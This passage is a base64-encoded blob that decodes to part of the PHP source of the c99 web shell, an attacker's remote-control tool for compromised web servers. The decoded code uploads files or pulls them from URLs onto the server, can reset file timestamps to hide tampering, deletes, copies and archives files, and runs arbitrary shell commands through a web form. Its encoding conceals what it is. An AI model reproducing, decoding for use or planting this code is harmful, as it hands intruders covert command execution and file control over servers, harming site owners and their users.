3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR1cGxvYWRwYXRoKTsKIGlmIChlbXB0eSgkdXBsb2FkcGF0aCkpIHskdXBsb2FkcGF0aCA9ICRkO30KIGVsc2VpZiAoc3Vic3RyKCR1cGxvYWRwYXRoLC0xKSAhPSAiLyIpIHskdXBsb2FkcGF0aCAuPSAiLyI7fQogaWYgKCFlbXB0eSgkc3VibWl0KSkKIHsKICBnbG9iYWwgJEhUVFBfUE9TVF9GSUxFUzsKICAkdXBsb2FkZmlsZSA9ICRIVFRQX1BPU1RfRklMRVNbInVwbG9hZGZpbGUiXTsKICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdKSkKICB7CiAgIGlmIChlbXB0eSgkdXBsb2FkZmlsZW5hbWUpKSB7JGRlc3RpbiA9ICR1cGxvYWRmaWxlWyJuYW1lIl07fQogICBlbHNlIHskZGVzdGluID0gJHVzZXJmaWxlbmFtZTt9CiAgIGlmICghbW92ZV91cGxvYWRlZF9maWxlKCR1cGxvYWRmaWxlWyJ0bXBfbmFtZSJdLCR1cGxvYWRwYXRoLiRkZXN0aW4pKSB7JHVwbG9hZG1lc3MgLj0gIkVycm9yIHVwbG9hZGluZyBmaWxlICIuJHVwbG9hZGZpbGVbIm5hbWUiXS4iIChjYW4ndCBjb3B5IFwiIi4kdXBsb2FkZmlsZVsidG1wX25hbWUiXS4iXCIgdG8gXCIiLiR1cGxvYWRwYXRoLiRkZXN0aW4uIlwiITxicj4iO30KICB9CiAgZWxzZWlmICghZW1wdHkoJHVwbG9hZHVybCkpCiAgewogICBpZiAoIWVtcHR5KCR1cGxvYWRmaWxlbmFtZSkpIHskZGVzdGluID0gJHVwbG9hZGZpbGVuYW1lO30KICAgZWxzZQogICB7CiAgICAkZGVzdGluID0gZXhwbG9kZSgiLyIsJGRlc3Rpbik7CiAgICAkZGVzdGluID0gJGRlc3Rpbltjb3VudCgkZGVzdGluKS0xXTsKICAgIGlmIChlbXB0eSgkZGVzdGluKSkKICAgIHsKICAgICAkaSA9IDA7CiAgICAgJGIgPSAiIjsKICAgICB3aGlsZShmaWxlX2V4aXN0cygkdXBsb2FkcGF0aC4kZGVzdGluKSkge2lmICgkaSA+IDApIHskYiA9ICJfIi4kaTt9ICRkZXN0aW4gPSAiaW5kZXgiLiRiLiIuaHRtbCI7ICRpKys7fX0KICAgfQogICBpZiAoKCFlcmVnaSgiaHR0cDovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJodHRwczovLyIsJHVwbG9hZHVybCkpIGFuZCAoIWVyZWdpKCJmdHA6Ly8iLCR1cGxvYWR1cmwpKSkge2VjaG8gIjxiPkluY29yZWN0IHVybCE8L2I+PGJyPiI7fQogICBlbHNlCiAgIHsKICAgICRzdCA9IGdldG1pY3JvdGltZSgpOwogICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVwbG9hZHVybCk7CiAgICAkZHQgPSByb3VuZChnZXRtaWNyb3RpbWUoKS0kc3QsNCk7CiAgICBpZiAoISRjb250ZW50KSB7JHVwbG9hZG1lc3MgLj0gICJDYW4ndCBkb3dubG9hZCBmaWxlITxicj4iO30KICAgIGVsc2UKICAgIHsKICAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCR1cGxvYWRwYXRoLiRkZXN0aW4pO30KICAgICAkZnAgPSBmb3BlbigkdXBsb2FkcGF0aC4kZGVzdGluLCJ3Iik7CiAgICAgaWYgKCEkZnApIHskdXBsb2FkbWVzcyAuPSAiRXJyb3Igd3JpdGluZyB0byBmaWxlICIuaHRtbHNwZWNpYWxjaGFycygkZGVzdGluKS4iITxicj4iO30KICAgICBlbHNlCiAgICAgewogICAgICBmd3JpdGUoJGZwLCRjb250ZW50LHN0cmxlbigkY29udGVudCkpOwogICAgICBmY2xvc2UoJGZwKTsKICAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCR1cGxvYWRwYXRoLiRkZXN0aW4sJHN0YXRbOV0sJHN0YXRbOF0pO30KICAgICB9CiAgICB9CiAgIH0KICB9CiB9CiBpZiAoJG1pbmlmb3JtKQogewogIGVjaG8gIjxiPiIuJHVwbG9hZG1lc3MuIjwvYj4iOwogICRhY3QgPSAibHMiOwogfQogZWxzZQogewogIGVjaG8gIjxiPkZpbGUgdXBsb2FkOjwvYj48YnI+PGI+Ii4kdXBsb2FkbWVzcy4iPC9iPjxmb3JtIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwiIi4kc3VybC4iYWN0PXVwbG9hZCZkPSIudXJsZW5jb2RlKCRkKS4iXCIgbWV0aG9kPVBPU1Q+ClNlbGVjdCBmaWxlIG9uIHlvdXIgbG9jYWwgY29tcHV0ZXI6IDxpbnB1dCBuYW1lPVwidXBsb2FkZmlsZVwiIHR5cGU9XCJmaWxlXCI+PGJyPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwO29yPGJyPgpJbnB1dCBVUkw6IDxpbnB1dCBuYW1lPVwidXBsb2FkdXJsXCIgdHlwZT1cInRleHRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdXBsb2FkdXJsKS4iXCIgc2l6ZT1cIjcwXCI+PGJyPjxicj4KU2F2ZSB0aGlzIGZpbGUgZGlyOiA8aW5wdXQgbmFtZT1cInVwbG9hZHBhdGhcIiBzaXplPVwiNzBcIiB2YWx1ZT1cIiIuJGRpc3BkLiJcIj48YnI+PGJyPgpGaWxlLW5hbWUgKGF1dG8tZmlsbCk6IDxpbnB1dCBuYW1lPXVwbG9hZGZpbGVuYW1lIHNpemU9MjU+PGJyPjxicj4KPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT11cGxvYWRhdXRvbmFtZSB2YWx1ZT0xIGlkPWRmND4mbmJzcDtjb252ZXJ0IGZpbGUgbmFtZSB0byBsb3ZlcmNhc2U8YnI+PGJyPgo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJVcGxvYWRcIj4KPC9mb3JtPiI7CiB9Cn0KaWYgKCRhY3QgPT0gImRlbGV0ZSIpCnsKICRkZWxlcnIgPSAiIjsKIGZvcmVhY2ggKCRhY3Rib3ggYXMgJHYpCiB7CiAgJHJlc3VsdCA9IEZBTFNFOwogICRyZXN1bHQgPSBmc19ybW9iaigkdik7CiAgaWYgKCEkcmVzdWx0KSB7JGRlbGVyciAuPSAiQ2FuJ3QgZGVsZXRlICIuaHRtbHNwZWNpYWxjaGFycygkdikuIjxicj4iO30KIH0KIGlmICghZW1wdHkoJGRlbGVycikpIHtlY2hvICI8Yj5EZWxldGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJGRlbGVycjt9CiAkYWN0ID0gImxzIjsKfQppZiAoISR1c2Vmc2J1ZmYpCnsKIGlmICgoJGFjdCA9PSAicGFzdGUiKSBvciAoJGFjdCA9PSAiY29weSIpIG9yICgkYWN0ID09ICJjdXQiKSBvciAoJGFjdCA9PSAidW5zZWxlY3QiKSkge2VjaG8gIjxjZW50ZXI+PGI+U29ycnksIGJ1ZmZlciBpcyBkaXNhYmxlZC4gRm9yIGVuYWJsZSwgc2V0IGRpcmVjdGl2ZSBcIlwkdXNlRlNidWZmXCIgYXMgVFJVRS48L2NlbnRlcj4iO30KfQplbHNlCnsKIGlmICgkYWN0ID09ICJjb3B5IikgeyRlcnIgPSAiIjsgJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfbWVyZ2UoJHNlc3NfZGF0YVsiY29weSJdLCRhY3Rib3gpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiOyB9CiBlbHNlaWYgKCRhY3QgPT0gImN1dCIpIHskc2Vzc19kYXRhWyJjdXQiXSA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImN1dCJdLCRhY3Rib3gpOyBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7ICRhY3QgPSAibHMiO30KIGVsc2VpZiAoJGFjdCA9PSAidW5zZWxlY3QiKSB7Zm9yZWFjaCAoJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319IGZvcmVhY2ggKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkdiwkYWN0Ym94KSkge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX0gYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpOyAkYWN0ID0gImxzIjt9CiBpZiAoJGFjdGVtcHR5YnVmZikgeyRzZXNzX2RhdGFbImNvcHkiXSA9ICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTsgYzk5X3Nlc3NfcHV0KCRzZXNzX2RhdGEpO30KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikKIHsKICAkcHN0ZXJyID0gIiI7CiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQogIHsKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICBpZiAoIWZzX2NvcHlfb2JqKCR2LCR0bykpIHskcHN0ZXJyIC49ICJDYW4ndCBjb3B5ICIuJHYuIiB0byAiLiR0by4iITxicj4iO30KICAgaWYgKCRjb3B5X3Vuc2V0KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fQogIH0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikKICB7CiAgICR0byA9ICRkLmJhc2VuYW1lKCR2KTsKICAgaWYgKCFmc19tb3ZlX29iaigkdiwkdG8pKSB7JHBzdGVyciAuPSAiQ2FuJ3QgbW92ZSAiLiR2LiIgdG8gIi4kdG8uIiE8YnI+Ijt9CiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7CiAgfQogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKICBpZiAoIWVtcHR5KCRwc3RlcnIpKSB7ZWNobyAiPGI+UGFzdGluZyB3aXRoIGVycm9yczo8L2I+PGJyPiIuJHBzdGVycjt9CiAgJGFjdCA9ICJscyI7CiB9CiBlbHNlaWYgKCRhY3RhcmNidWZmKQogewogICRhcmNlcnIgPSAiIjsKICBpZiAoc3Vic3RyKCRhY3RhcmNidWZmX3BhdGgsLTcsNykgPT0gIi50YXIuZ3oiKSB7JGV4dCA9ICIudGFyLmd6Ijt9CiAgZWxzZSB7JGV4dCA9ICIudGFyLmd6Ijt9CiAgaWYgKCRleHQgPT0gIi50YXIuZ3oiKSB7JGNtZGxpbmUgPSAidGFyIGNmenYiO30KICAkY21kbGluZSAuPSAiICIuJGFjdGFyY2J1ZmZfcGF0aDsKICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSk7CiAgZm9yZWFjaCgkb2JqZWN0cyBhcyAkdikKICB7CiAgICR2ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR2KTsKICAgaWYgKHN1YnN0cigkdiwwLHN0cmxlbigkZCkpID09ICRkKSB7JHYgPSBiYXNlbmFtZSgkdik7fQogICBpZiAoaXNfZGlyKCR2KSkKICAgewogICAgaWYgKHN1YnN0cigkdiwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR2IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogICAgJHYgLj0gIioiOwogICB9CiAgICRjbWRsaW5lIC49ICIgIi4kdjsKICB9CiAgJHRtcCA9IHJlYWxwYXRoKCIuIik7CiAgY2hkaXIoJGQpOwogICRyZXQgPSBteXNoZWxsZXhlYygkY21kbGluZSk7CiAgY2hkaXIoJHRtcCk7CiAgaWYgKGVtcHR5KCRyZXQpKSB7JGFyY2VyciAuPSAiQ2FuJ3QgY2FsbCBhcmNoaXZhdG9yICgiLmh0bWxzcGVjaWFsY2hhcnMoc3RyMm1pbmkoJGNtZGxpbmUsNjApKS4iKSE8YnI+Ijt9CiAgJHJldCA9IHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRyZXQpOwogICRyZXQgPSBleHBsb2RlKCJcbiIsJHJldCk7CiAgaWYgKCRjb3B5X3Vuc2V0KSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7fX0KICBmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikKICB7CiAgIGlmIChpbl9hcnJheSgkdiwkcmV0KSkge2ZzX3Jtb2JqKCR2KTt9CiAgIHVuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7CiAgfQogIGM5OV9zZXNzX3B1dCgkc2Vzc19kYXRhKTsKICBpZiAoIWVtcHR5KCRhcmNlcnIpKSB7ZWNobyAiPGI+QXJjaGl2YXRpb24gZXJyb3JzOjwvYj48YnI+Ii4kYXJjZXJyO30KICAkYWN0ID0gImxzIjsKIH0KIGVsc2VpZiAoJGFjdHBhc3RlYnVmZikKIHsKICAkcHN0ZXJyID0gIiI7CiAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KQogIHsKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICBpZiAoIWZzX2NvcHlfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IGNvcHkgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICBpZiAoJGNvcHlfdW5zZXQpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTt9CiAgfQogIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KQogIHsKICAgJHRvID0gJGQuYmFzZW5hbWUoJHYpOwogICBpZiAoIWZzX21vdmVfb2JqKCR2LCRkKSkgeyRwc3RlcnIgLj0gIkNhbid0IG1vdmUgIi4kdi4iIHRvICIuJHRvLiIhPGJyPiI7fQogICB1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pOwogIH0KICBjOTlfc2Vzc19wdXQoJHNlc3NfZGF0YSk7CiAgaWYgKCFlbXB0eSgkcHN0ZXJyKSkge2VjaG8gIjxiPlBhc3Rpbmcgd2l0aCBlcnJvcnM6PC9iPjxicj4iLiRwc3RlcnI7fQogICRhY3QgPSAibHMiOwogfQp9CmlmICgkYWN0ID09ICJjbWQiKQp7CmlmICh0cmltKCRjbWQpID09ICJwcyAtYXV4IikgeyRhY3QgPSAicHJvY2Vzc2VzIjt9CmVsc2VpZiAodHJpbSgkY21kKSA9PSAidGFza2xpc3QiKSB7JGFjdCA9ICJwcm9jZXNzZXMiO30KZWxzZQp7CiBAY2hkaXIoJGNoZGlyKTsKIGlmICghZW1wdHkoJHN1Ym1pdCkpCiB7CiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIGNvbW1hbmQ8L2I+Ojxicj4iOwogICRvbGRkaXIgPSByZWFscGF0aCgiLiIpOwogIEBjaGRpcigkZCk7CiAgJHJldCA9IG15c2hlbGxleGVjKCRjbWQpOwogICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsKICBpZiAoJGNtZF90eHQpCiAgewogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxOwogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQogICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7CiAgfQogIGVsc2Uge2VjaG8gJHJldC4iPGJyPiI7fQogIEBjaGRpcigkb2xkZGlyKTsKIH0KIGVsc2Uge2VjaG8gIjxiPkV4ZWN1dGlvbiBjb21tYW5kPC9iPiI7IGlmIChlbXB0eSgkY21kX3R4dCkpIHskY21kX3R4dCA9IFRSVUU7fX0KIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1jbWQ+PHRleHRhcmVhIG5hbWU9Y21kIGNvbHM9MTIyIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRjbWQpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1hcmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGNtZF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7Cn0KfQppZiAoJGFjdCA9PSAibHMiKQp7CiBpZiAoY291bnQoJGxzX2FycikgPiAwKSB7JGxpc3QgPSAkbHNfYXJyO30KIGVsc2UKIHsKICAkbGlzdCA9IGFycmF5KCk7CiAgaWYgKCRoID0gQG9wZW5kaXIoJGQpKQogIHsKICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHskbGlzdFtdID0gJGQuJG87fQogICBjbG9zZWRpcigkaCk7CiAgfQogIGVsc2Uge30KIH0KIGlmIChjb3VudCgkbGlzdCkgPT0gMCkge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3Qgb3BlbiBmb2xkZXIgKCIuaHRtbHNwZWNpYWxjaGFycygkZCkuIikhPC9iPjwvY2VudGVyPiI7fQogZWxzZQogewogICRvYmplY3RzID0gYXJyYXkoKTsKICAkdmQgPSAiZiI7CiAgaWYgKCR2ZCA9PSAiZiIpCiAgewogICAkb2JqZWN0c1siaGVhZCJdID0gYXJyYXkoKTsKICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5KCk7CiAgICRvYmplY3RzWyJsaW5rcyJdID0gYXJyYXkoKTsKICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheSgpOwogICBmb3JlYWNoICgkbGlzdCBhcyAkdikKICAgewogICAgJG8gPSBiYXNlbmFtZSgkdik7CiAgICAkcm93ID0gYXJyYXkoKTsKICAgIGlmICgkbyA9PSAiLiIpIHskcm93W10gPSAkZC4kbzsgJHJvd1tdID0gIkxJTksiO30KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikgeyRyb3dbXSA9ICRkLiRvOyAkcm93W10gPSAiTElOSyI7fQogICAgZWxzZWlmIChpc19kaXIoJHYpKQogICAgewogICAgIGlmIChpc19saW5rKCR2KSkgeyR0eXBlID0gIkxJTksiO30KICAgICBlbHNlIHskdHlwZSA9ICJESVIiO30KICAgICAkcm93W10gPSAkdjsKICAgICAkcm93W10gPSAkdHlwZTsKICAgIH0KICAgIGVsc2VpZihpc19maWxlKCR2KSkgeyRyb3dbXSA9ICR2OyAkcm93W10gPSBmaWxlc2l6ZSgkdik7fQogICAgJHJvd1tdID0gZmlsZW10aW1lKCR2KTsKICAgIGlmICghJHdpbikKICAgIHsKICAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHYpKTsKICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHYpKTsKICAgICAkcm93W10gPSAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCR2KSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJHYpKTsKICAgIH0KICAgICRyb3dbXSA9IGZpbGVwZXJtcygkdik7CiAgICBpZiAoKCRvID09ICIuIikgb3IgKCRvID09ICIuLiIpKSB7JG9iamVjdHNbImhlYWQiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19kaXIoJHYpKSB7JG9iamVjdHNbImZvbGRlcnMiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2ZpbGUoJHYpKSB7JG9iamVjdHNbImZpbGVzIl1bXSA9ICRyb3c7fQogICAgJGkrKzsKICAgfQogICAkcm93ID0gYXJyYXkoKTsKICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsKICAgJHJvd1tdID0gIjxiPlNpemU8L2I+IjsKICAgJHJvd1tdID0gIjxiPk1vZGlmeTwvYj4iOwogICBpZiAoISR3aW4pCiAgeyRyb3dbXSA9ICI8Yj5Pd25lci9Hcm91cDwvYj4iO30KICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7CiAgICRyb3dbXSA9ICI8Yj5BY3Rpb248L2I+IjsKICAgJHBhcnNlc29ydCA9IHBhcnNlc29ydCgkc29ydCk7CiAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOwogICAkayA9ICRwYXJzZXNvcnRbMF07CiAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyRwYXJzZXNvcnRbMV0gPSAiZCI7fQogICAkeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRrLigkcGFyc2Vzb3J0WzFdID09ICJhIj8iZCI6ImEiKS4iXCI+IjsKICAgJHkgLj0gIltTb3J0LSIuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJBc2MuIjoiRGVzYyIpLiJdPC9hPiI7CiAgICRyb3dbJGtdIC49ICR5OwogICBmb3IoJGk9MDskaTxjb3VudCgkcm93KS0xOyRpKyspCiAgIHsKICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+Ii4kcm93WyRpXS4iPC9hPiI7fQogICB9CiAgICR2ID0gJHBhcnNlc29ydFswXTsKICAgdXNvcnQoJG9iamVjdHNbImZvbGRlcnMiXSwgInRhYnNvcnQiKTsKICAgdXNvcnQoJG9iamVjdHNbImxpbmtzIl0sICJ0YWJzb3J0Iik7CiAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOwogICBpZiAoJHBhcnNlc29ydFsxXSA9PSAiZCIpCiAgIHsKICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOwogICAgJG9iamVjdHNbImZpbGVzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmaWxlcyJdKTsKICAgfQogICAkb2JqZWN0cyA9IGFycmF5X21lcmdlKCRvYmplY3RzWyJoZWFkIl0sJG9iamVjdHNbImZvbGRlcnMiXSwkb2JqZWN0c1sibGlua3MiXSwkb2JqZWN0c1siZmlsZXMiXSk7CiAgICR0YWIgPSBhcnJheSgpOwogICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsKICAgJHRhYlsiaGVhZCJdID0gYXJyYXkoKTsKICAgJHRhYlsiZm9sZGVycyJdID0gYXJyYXkoKTsKICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7CiAgICR0YWJbImZpbGVzIl0gPSBhcnJheSgpOwogICAkaSA9IDA7CiAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKQogICB7CiAgICAkdiA9ICRhWzBdOwogICAgJG8gPSBiYXNlbmFtZSgkdik7CiAgICAkZGlyID0gZGlybmFtZSgkdik7CiAgICBpZiAoJGRpc3BfZnVsbHBhdGgpIHskZGlzcHBhdGggPSAkdjt9CiAgICBlbHNlIHskZGlzcHBhdGggPSAkbzt9CiAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOwogICAgaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImN1dCJdKSkgeyRkaXNwcGF0aCA9ICI8c3RyaWtlPiIuJGRpc3BwYXRoLiI8L3N0cmlrZT4iO30KICAgIGVsc2VpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY29weSJdKSkgeyRkaXNwcGF0aCA9ICI8dT4iLiRkaXNwcGF0aC4iPC91PiI7fQogICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikKICAgIHsKICAgICBpZiAoZXJlZygkclswXSwkbykpCiAgICAgewogICAgICBpZiAoKCFpc19udW1lcmljKCRyWzFdKSkgb3IgKCRyWzFdID4gMykpIHskclsxXSA9IDA7IG9iX2NsZWFuKCk7IGVjaG8gIldhcm5pbmchIENvbmZpZ3VyYXRpb24gZXJyb3IgaW4gXCRyZWd4cF9oaWdobGlnaHRbIi4kay4iXVswXSAtIHVua25vd24gY29tbWFuZC4iOyBjOTlzaGV4aXQoKTt9CiAgICAgIGVsc2UKICAgICAgewogICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7CiAgICAgICAkaXNkaXIgPSBpc19kaXIoJHYpOwogICAgICAgaWYgKCgkclsxXSA9PSAwKSBvciAoKCRyWzFdID09IDEpIGFuZCAhJGlzZGlyKSBvciAoKCRyWzFdID09IDIpIGFuZCAhJGlzZGlyKSkKICAgICAgIHsKICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQogICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsKICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9CiAgICAgICB9CiAgICAgIH0KICAgICB9CiAgICB9CiAgICAkdW8gPSB1cmxlbmNvZGUoJG8pOwogICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOwogICAgJHV2ID0gdXJsZW5jb2RlKCR2KTsKICAgICRyb3cgPSBhcnJheSgpOwogICAgaWYgKCRvID09ICIuIikKICAgIHsKICAgICAkcm93W10gPSAiJm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOwogICAgICRyb3dbXSA9ICJMSU5LIjsKICAgIH0KICAgIGVsc2VpZiAoJG8gPT0gIi4uIikKICAgIHsKICAgICAkcm93W10gPSAiJm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOwogICAgICRyb3dbXSA9ICJMSU5LIjsKICAgIH0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkKICAgIHsKICAgICBpZiAoaXNfbGluaygkdikpCiAgICAgewogICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsKICAgICAgJHR5cGUgPSAiTElOSyI7CiAgICAgICRyb3dbXSA9ICAiJm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj5bIi4kZGlzcHBhdGguIl08L2E+IjsKICAgICB9CiAgICAgZWxzZQogICAgIHsKICAgICAgJHR5cGUgPSAiRElSIjsKICAgICAgJHJvd1tdID0gICImbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPlsiLiRkaXNwcGF0aC4iXTwvYT4iOwogICAgICB9CiAgICAgJHJvd1tdID0gJHR5cGU7CiAgICB9CiAgICBlbHNlaWYoaXNfZmlsZSgkdikpCiAgICB7CiAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRvKTsKICAgICAkYyA9IGNvdW50KCRleHQpLTE7CiAgICAgJGV4dCA9ICRleHRbJGNdOwogICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOwogICAgICRyb3dbXSA9ICAiJm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiImXCI+Ii4kZGlzcHBhdGguIjwvYT4iOwogICAgICRyb3dbXSA9IHZpZXdfc2l6ZSgkYVsxXSk7CiAgICB9CiAgICAkcm93W10gPSBkYXRlKCJkLm0uWSBIOmk6cyIsJGFbMl0pOwogICAgaWYgKCEkd2luKSB7JHJvd1tdID0gJGFbM107fQogICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Y2htb2QmZj0iLiR1by4iJmQ9Ii4kdWQuI